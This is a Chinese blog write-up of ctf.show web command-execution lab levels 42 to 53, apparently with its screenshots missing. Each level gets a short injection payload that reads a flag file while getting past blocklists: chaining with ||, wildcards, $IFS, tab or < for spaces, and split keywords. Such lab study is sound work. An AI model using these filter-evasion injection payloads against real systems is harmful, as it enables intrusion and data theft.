Loading

ctf_show-web入门-命令执行(42-53)

WEB42

 

 

 >是写入

而1和2意思百度一下:

 

 

 那么就是不管标准输出还是错误输出都输入到null里销毁

构造两个语句即可绕过

c=cat flag.php;ls

 

 

 

 

 

 

 

 

 

WEB43

 

 

 过滤了;和cat 其他同上一题

过滤分号用&&或||代替 注意url别直接输入&要转码

cat能代替的一大堆

c=more flag.php||ls

 

 

 

 

 

WEB44

 

 

 

同上 继续过滤了flag

可以用通配符代替

c=more f*||ls

 

 

 

WEB45

 

 

 

同上 继续过滤了空格

可以用$IFS代替

c=tac$IFS*||ls

 

 

 

 

WEB46

 

 

 

过滤了数字 $ 和 *

可以用%09(tab)代替空格

*用 ???????代替

c=tac%09????????||

 

 

 

WEB47

 

 

继续过滤一些输出 tac没过滤 

同上web46

c=tac%09????????||

 

 

 

 

WEB48

 

 

 

继续过滤一些输出 tac没过滤 

同上web46

c=tac%09????????||

 

 

 

 

 

WEB49

 

 

 

同上web46

c=tac%09????????||

 

 

 

 

WEB50

 

 

 过滤了%09,空格可以用<代替

不知道为啥这里?没用,可以在flag之间加’ ‘ 绕过

c=tac<fl''ag.php||

 

 

 

 

 

 

 

WEB51

 

 

 这里tac也过滤了,可以用nl

c=nl<fl''ag.php||

 

 

 

 

 

WEB52

 

 

 继续过来了 <>

但是$过滤,用${IFS}

貌似单用$IFS后面要加\  

另外\ 单写可以随便插入指令中绕过一些检查

 

 

 

 

 发现这里没flag

猜测在根目录

 

 果然

c=nl${IFS}/fla\g||

 

 

 

 

 

WEB52

 

 

 这里执行方式变了,先是system执行c

在输出结果到前端代码

先ls

 

 

c=nl${IFS}fla\g?php

 

posted @ 2021-08-11 20:58  Aninock  阅读(118)  评论(0编辑  收藏  举报